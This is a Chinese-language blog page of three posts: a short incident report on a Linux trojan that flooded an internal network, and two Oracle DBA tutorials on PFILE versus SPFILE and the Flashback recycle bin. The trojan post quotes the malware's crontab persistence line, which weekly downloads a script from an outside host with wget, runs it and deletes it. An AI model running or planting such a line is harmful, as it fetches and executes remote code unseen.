Home

2013年11月20日 星期三

Linux 平台上木馬程式的防範

From: Polin Wei

這幾天Linux伺服器有異常流量,可能被添加了一木馬惡意程式,該程式一運行便對外發起了大量的連接,導致整個內網癱瘓掉,該木馬防護的方式非常簡單,只是在Linux crond計時器裡加入以下任務:

[root@lnx tmp]# crontab -e
###@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
###@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1

2013年11月7日 星期四

Oracle Database Initialization Parameter files : PFILEs vs. SPFILEs

From: Polin Wei

spfile & pfile 差異:
Oracle Database 自從 9i 以後的版本,就開始支援 spfile ,spfile & pfile 差異處如下:
  • pfile  :client 端參數文件,是一個文字檔,不能動態修改,可用 notepad 或 vi 來編輯,DBA 通常是指這個 init.ora 文件;修改之後需要重啟資料庫才會生效。
  • spfile:服務器端參數文件(Server Parameter File),這是一個二進位的檔案,編輯 SPFILE 檔案會破壞它,您將無法啟動您的數據庫,要更改參數值,需用指令:"ALTER SYSTEM SET" 來變更; 有了spfile,資料庫的參數可以線上動態修改,部分參數修改之後無需重啟資料庫就可以直接生效。。

可以用下列指令,得知您的資料庫是用那一種模式起動的。
 SQL> SELECT DECODE(value, NULL, 'PFILE', 'SPFILE') "Init File Type"
       FROM sys.v_$parameter WHERE name = 'spfile';

spfile 的優點:
  • 1. 可以用 RMAN 備份 spfile ( spfile 是 Server Parameter File ), RMAN 無法備份 pfile ( client 端參數文件 )
  • 2. 滅少人為修改參數造成的錯誤,spfile 是儲存在資料庫系統裡,用 "ALTER SYSTEM SET" 來變更時,系統會先作檢查。
  • 3. 只有一個 spfile 參數檔,很容易找到與維護。

從 spfile 獲取 pfile:
Create pfile='d:pfileSID.ora' from spfile;
SQL> Create pfile='C:\oraclexe\app\oracle\admin\XE\pfile\pfileSID.ora' from spfile;


從pfile獲取spfile:
Create spfile from pfile='Your_pfile_location'
Create spfile='spfile_location' from pfile='Your_pfile_location'

動態修改參數:
alter system set parameter=Value scope=spfile | both | memory ( Startup nomount 的時候需要讀去 spfile 或 pfile 或 兩者共存,系統以 spfile 優先 )
SQL> ALTER SYSTEM SET open_cursors=300 SCOPE=SPFILE;

SQL> ALTER SYSTEM SET timed_statistics=TRUE
    COMMENT='Changed by Frank on 1 June 2003'
    SCOPE=BOTH
     SID='*';
The SCOPE parameter can be set to SPFILE, MEMORY or BOTH:
  • - MEMORY: Set for the current instance only. This is the default behaviour if a PFILE was used at STARTUP.
  • - SPFILE: update the SPFILE, the parameter will take effect with next database startup
  • - BOTH: affect the current instance and persist to the SPFILE. This is the default behaviour if an SPFILE was used at STARTUP.
  • The COMMENT parameter (optional) specifies a user remark.
 

2013年11月1日 星期五

Oracle Flashback 10g 的資源回收桶 (recycle bin)

From: Polin Wei
  Oracle 從 9i 開始提供了 Flashback Query 功能,可用於恢復錯誤的 DML 操作。在 Oracle 10g 中對 Flashback Query 做了較大改進,不再局限於 Flashback Query ,還可用於恢復錯誤的 DDL(Drop) 操作。
  Flashback Query  是透過一個新的 Package:DBMS_FLASH 來實現。DBA 可使用 Flashback Query 可以及時取得錯誤操作 DML(Delete、Update、Insert) 在當前某一時間點資料庫的映射視圖,DBA 可以利用系統時間或系統改變號(SCN:System Change Number)來指定這個唯讀視圖,並可以針對錯誤進行相應的恢復措施。
  以下來實作一下整個過程:
1. 可以先用下列 SQL 語法來查詢 recyclebin 是否有被 drop 的 table,此時應該是沒有的。
SQL>select object_name,original_name,operation,type,droptime from recyclebin;
 2. 建立測試的 table : demo_users
create table demo_users (id char(2), name varchar2(10));
insert into demo_users values ('01','David');
insert into demo_users values ('02','Scott');
select * from demo_users;
 可以查詢到有兩筆資料在 demo_users 的資料表( Table )裡。
recyclebin_table_select_ok.png
3. 刪除資料表 demo_users 並在查詢資源回收筒中是否有被刪除的資料表。
SQL>drop table demo_users;
SQL>SELECT object_name,original_name,operation,type,droptime 
FROM recyclebin;
(繼續閱讀...)